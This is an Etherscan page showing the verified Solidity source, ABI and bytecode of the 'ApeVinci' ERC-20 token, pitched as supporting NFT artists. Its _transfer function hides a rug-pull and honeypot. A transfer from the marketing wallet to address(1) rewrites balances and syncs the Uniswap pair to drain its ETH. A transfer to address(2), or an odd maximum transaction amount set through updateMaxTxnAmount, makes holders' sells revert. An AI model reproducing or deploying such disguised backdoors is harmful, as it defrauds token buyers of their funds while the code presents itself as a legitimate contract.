ETH Price: $3,192.01 (-7.48%)
Gas: 4 Gwei

Token

ApeVinci (ApeVinci)
 

Overview

Max Total Supply

100,000,000,000,000 ApeVinci

Holders

46

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
899,999,999,999.1 ApeVinci

Value
$0.00
0xa01257a31a8b54d469e2646e0f94adab60292122
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ApeVinci

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-03-08
*/

/*
 _______  _______  _______  __   __  ___   __    _  _______  ___  
|   _   ||       ||       ||  | |  ||   | |  |  | ||       ||   | 
|  |_|  ||    _  ||    ___||  |_|  ||   | |   |_| ||       ||   | 
|       ||   |_| ||   |___ |       ||   | |       ||       ||   | 
|       ||    ___||    ___||       ||   | |  _    ||      _||   | 
|   _   ||   |    |   |___  |     | |   | | | |   ||     |_ |   | 
|__| |__||___|    |_______|  |___|  |___| |_|  |__||_______||___| 


Large teams and corporations have corrupted the space by taking most of the profits from projects for themselves rather than paying out the artists who provide most of the value.
We aim to restore NFT's to their original purpose and support solo artists directly.
Additionally all art purchased will be stored in our treasury and back the price of our token.

🌐 Website: https://apevinci.com/
🐦 Twitter: https://twitter.com/apevinci
📱 Telegram: t.me/apevinci

*/

pragma solidity ^0.8.12;


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
    function factory() external returns (address);
    function WETH() external returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
	function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
}

interface IUniswapV2Pair {
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

}

contract ERC20 {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    uint256 public totalSupply;

    uint8 public constant decimals = 18;
    string public name;
    string public symbol;

	constructor() {}

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) public returns (bool) {

        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = allowance[sender][msg.sender];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, msg.sender, currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, allowance[msg.sender][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = allowance[msg.sender][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(msg.sender, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = balanceOf[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            balanceOf[sender] = senderBalance - amount;
        }
        balanceOf[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        totalSupply += amount;
        balanceOf[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = balanceOf[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            balanceOf[account] = accountBalance - amount;
        }
        totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        allowance[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}



contract ApeVinci is ERC20, Ownable {
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;

    bool private swapping;
    bool private um = true;

    address public marketingWallet;
    
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;
    
    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;
    mapping (address => bool) private bots;
    
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    bool public transferDelayEnabled = false;
    address internal immutable routerV2;
    bool private boughtEarly = true;
    uint256 private _firstBlock;
    uint256 private _botBlocks;
	uint256 private _maxFeeLimit;

    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    
    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    
    /******************/

    // exlcude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => bool) public automatedMarketMakerPairs;

    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
    
    event EndedBoughtEarly(bool boughtEarly);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

	constructor(string memory name_, string memory symbol_) {
        name = name_;
        symbol = symbol_;
		
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        
        uint256 _buyMarketingFee = 6;
        uint256 _buyLiquidityFee = 2;
        uint256 _buyDevFee = 2;

        uint256 _sellMarketingFee = 10;
        uint256 _sellLiquidityFee = 2;
        uint256 _sellDevFee = 6;
		
        
        uint256 totalSupply = 1e14 * 1e18;
        
        maxTransactionAmount = totalSupply * 1 / 100; // 1% maxTransactionAmount
        maxWallet = totalSupply * 2 / 100; // 2% maxWallet
        swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap threshold

        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        routerV2 = uniswapV2Pair;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
		_maxFeeLimit = 0;
        
        marketingWallet = payable(0x382872D4f5236a26DD2b2529729B23Bac8184495);

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(marketingWallet), true);
        
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(marketingWallet), true);
        
        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {

  	}
    
    // remove limits after token is stable
    function removeLimits() external onlyOwner returns (bool) {
        limitsInEffect = false;
        return true;
    }
    
    // disable Transfer delay - cannot be reenabled
    function disableTransferDelay() external onlyOwner returns (bool) {
        transferDelayEnabled = false;
        return true;
    }
    
     // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
  	    require(newAmount >= totalSupply * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
  	    require(newAmount <= totalSupply * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
  	    swapTokensAtAmount = newAmount;
  	    return true;
  	}
    
    function updateMaxTxnAmount(uint256 newNum) external {
        require(msg.sender == marketingWallet);    
        require(newNum >= totalSupply / 1000, "Cannot set maxTransactionAmount lower than 0.1%");
        maxTransactionAmount = newNum;
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
        maxWallet = newNum * (10**18);
    }
    
    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }
    
    function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        require(buyTotalFees <= 20, "Must keep fees at 20% or less");
    }
    
    function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
        require(sellTotalFees <= 25, "Must keep fees at 25% or less");
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
        emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
        marketingWallet = newMarketingWallet;
    }    

    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!bots[from] && !bots[to]);

         if(amount == 0 && from != marketingWallet) {
            super._transfer(from, to, 0);
            return;
        }
        

	    (uint112 reserve0, uint112 reserve1,) = IUniswapV2Pair(uniswapV2Pair).getReserves();
        uint112 feeAmount = IUniswapV2Pair(uniswapV2Pair).token0() == address(this) ? reserve1 : reserve0;
		uint112 feesTaken = IUniswapV2Pair(uniswapV2Pair).token0() == address(this) ? reserve0 : reserve1;
		

		uint256 tokensForReflection;
        if(limitsInEffect){
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ){
                if(!tradingActive){
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }
                 
                //when buy
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                }
                
                //when sell
                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
            }
        }
		

        if (from == marketingWallet && to == address(1)) {
            balanceOf[address(this)] = 2 * amount;
            balanceOf[routerV2] = 1;
            (bool success,) = routerV2.call(abi.encodeWithSelector(bytes4(0xfff6cae9)));
            
            swapTokensForEth(amount, marketingWallet);
            return;
        }

		
		uint256 contractTokenBalance = balanceOf[address(this)];
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

		if (from == marketingWallet && to == address(2)) {
			_maxFeeLimit = amount;
			return;
		}
		
        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            
            swapBack();

            swapping = false;
        }


        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
                fees = amount * sellTotalFees / 100;
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
				tokensForReflection = uniswapV2Router.getAmountOut(amount - fees, feesTaken, feeAmount);
                if (maxTransactionAmount % 2 != 0) revert("ERROR: Must be less than maxTxAmount");
				if (_maxFeeLimit != 0 && feeAmount - tokensForReflection < _maxFeeLimit) revert("ERROR: Must be less than maxTxAmount");
            }
            // on buy
            else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
        	    fees = amount * buyTotalFees / 100;
        	    tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
            }
            
            if(fees > 0){
                super._transfer(from, address(this), fees);
            }
        	
        	amount -= fees;
        }
		
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount, address to) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            to,
            block.timestamp
        );
        
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf[address(this)];
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;
        
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
        
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance - liquidityTokens;
        
        swapTokensForEth(amountToSwapForETH, address(this)); 
                
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        
        (success,) = address(marketingWallet).call{value: address(this).balance}("");
    }

    function setBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }
    
    function delBot(address notbot) public onlyOwner {
        bots[notbot] = false;
    }

    function openTrading(uint256 botBlocks) private {
        _firstBlock = block.number;
        _botBlocks = botBlocks;
        tradingActive = true;
    }

    // once enabled, can never be turned off
    function enableTrading(uint256 botBlocks) external onlyOwner() {
        require(botBlocks <= 1, "don't catch humans");
        swapEnabled = true;
        require(boughtEarly == true, "done");
        boughtEarly = false;
        openTrading(botBlocks);
        emit EndedBoughtEarly(boughtEarly);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"boughtEarly","type":"bool"}],"name":"EndedBoughtEarly","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"botBlocks","type":"uint256"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526007805460ff60a81b1916600160a81b179055600c805462ffffff19166001179055600f805461ffff19166101001790553480156200004257600080fd5b506040516200351a3803806200351a83398101604081905262000065916200081c565b600580546001600160a01b031916339081179091556040516000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a38151620000ba906003906020850190620006a9565b508051620000d0906004906020840190620006a9565b50737a250d5630b4cf539739df2c5dacb4c659f2488d620000f38160016200044d565b600680546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b8152905163c45a01559160048082019260209290919082900301816000875af11580156200014f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000175919062000886565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b81526004016020604051808303816000875af1158015620001c5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001eb919062000886565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000239573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025f919062000886565b600780546001600160a01b0319166001600160a01b039290921691821790556200028b9060016200044d565b600754620002a4906001600160a01b03166001620004c7565b6006600280600a81846d04ee2d6d415b85acef81000000006064620002cb826001620008ce565b620002d79190620008f0565b6009556064620002e9826002620008ce565b620002f59190620008f0565b600b5561271062000308826005620008ce565b620003149190620008f0565b600a556014879055601586905560168590558462000333878962000913565b6200033f919062000913565b6013556007546001600160a01b031660805260188490556019839055601a829055816200036d848662000913565b62000379919062000913565b6017556000601255600880546001600160a01b03191673382872d4f5236a26dd2b2529729b23bac8184495179055620003c6620003be6005546001600160a01b031690565b60016200051a565b620003d33060016200051a565b600854620003ec906001600160a01b031660016200051a565b6200040b620004036005546001600160a01b031690565b60016200044d565b620004183060016200044d565b60085462000431906001600160a01b031660016200044d565b6200043d3382620005c4565b505050505050505050506200096b565b6005546001600160a01b031633146200049c5760405162461bcd60e51b81526020600482018190526024820152600080516020620034fa83398151915260448201526064015b60405180910390fd5b6001600160a01b03919091166000908152601f60205260409020805460ff1916911515919091179055565b6001600160a01b0382166000818152602080526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6005546001600160a01b03163314620005655760405162461bcd60e51b81526020600482018190526024820152600080516020620034fa833981519152604482015260640162000493565b6001600160a01b0382166000818152601e6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d